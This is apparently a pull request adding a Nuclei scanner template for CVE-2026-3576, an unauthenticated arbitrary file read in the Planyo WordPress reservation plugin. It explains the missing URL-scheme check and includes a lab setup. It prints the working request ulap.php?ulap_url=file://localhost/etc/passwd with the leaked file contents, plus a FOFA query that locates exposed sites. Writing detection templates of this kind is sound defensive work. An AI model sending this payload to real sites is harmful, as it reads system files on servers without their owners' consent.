Add CVE-2026-3576 - Planyo Online Reservation System <= 3.0 - Arbitrary File Read

[Aryu-RU]

PR Information

• Added CVE-2026-3576 for Planyo Online Reservation System <= 3.0 Arbitrary File Read (http/cves/2026/CVE-2026-3576.yaml)
• The plugin ships ulap.php, an "Ultra Light AJAX Proxy" that is served directly and never bootstraps WordPress, so there is no nonce, capability check or authentication of any kind. send_http_post() parses the supplied URL and validates only the host against an allowlist that includes localhost, but it never validates the scheme. A file://localhost/... URL therefore passes the host check and is handed to curl_init()/fopen(), both of which honour the file:// wrapper, returning arbitrary local file contents in the response body. All versions up to and including 3.0 are affected. This is fixed in 3.1, which added an explicit http/https scheme check.
• The template is read-only and non-destructive. It sends a single unauthenticated GET and performs no writes, no state change and no uploads.
• References:
  • https://www.wordfence.com/threat-intel/vulnerabilities/id/5038d12a-e119-4ab7-aadc-69b765ae7027?source=cve
  • https://www.exploit-db.com/exploits/52636
  • https://plugins.trac.wordpress.org/browser/planyo-online-reservation-system/trunk/ulap.php#L59
  • https://nvd.nist.gov/vuln/detail/CVE-2026-3576

Template validation

• Validated with a host running a vulnerable version and/or configuration (True Positive) using wordpress:php8.2-apache with plugin tags/2.9
• Validated with a host running a patched version and/or configuration (avoid False Positive) using wordpress:php8.2-apache with plugin tags/3.1

Additional Details

Lab (official WordPress image, plugin dropped in from the plugin SVN):

docker run -d -p 8080:80 \
  -v $PWD/planyo-online-reservation-system:/var/www/html/wp-content/plugins/planyo-online-reservation-system:ro \
  wordpress:php8.2-apache

True Positive (plugin 2.9):

$ nuclei -t http/cves/2026/CVE-2026-3576.yaml -u http://127.0.0.1:8080 -debug

GET /wp-content/plugins/planyo-online-reservation-system/ulap.php?ulap_url=file://localhost/etc/passwd HTTP/1.1

HTTP/1.1 200 OK
Content-Type: text/plain; charset=UTF-8
Server: Apache/2.4.67 (Debian)
X-Powered-By: PHP/8.2.31

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

[CVE-2026-3576] [http] [high] http://127.0.0.1:8080/wp-content/plugins/...
Scan completed. 1 matches found.

True Negative (plugin 3.1, patched):

$ nuclei -t http/cves/2026/CVE-2026-3576.yaml -u http://127.0.0.1:8081
Scan completed. 0 matches found.

Note for reviewers: the patched build still returns HTTP 200, with the body Error: Only HTTP(S) URLs are allowed. A status-only matcher would therefore false-positive on every patched install. The root:[x*]?:0:0: regex is the load-bearing condition, combined with content_type and status under condition: and.

Additional negative controls, all confirmed non-matching:

Control	Response	Matches
Plugin 3.1 (patched)	200 Error: Only HTTP(S) URLs are allowed	No
Bare WordPress, plugin not installed	302	No
Non-WordPress host (nginx)	404	No
Disallowed host file://evil/etc/passwd	200 Error: Call to ... not allowed	No
No ulap_url parameter	200, 0 bytes	No

A note on the template shape: most recent WordPress plugin templates gate the exploit behind a readme.txt version check. That is not usable here, because this plugin publishes Stable tag: trunk in readme.txt on tags 2.6, 2.9 and 3.1, so compare_versions would extract nothing and the template would never fire. The /etc/passwd oracle is conclusive on its own, so the template stays at a single request.

Classification follows the NVD record exactly, including CWE-20 and the S:C/C:L/I:L 7.2 vector. Those are Wordfence secondary metrics, as the record carries no NVD primary score and no CPE block.

Discovery queries:

• FOFA: body="/plugins/planyo-online-reservation-system/"

Additional References:

• Nuclei Template Creation Guideline
• Nuclei Template Matcher Guideline
• Nuclei Template Contribution Guideline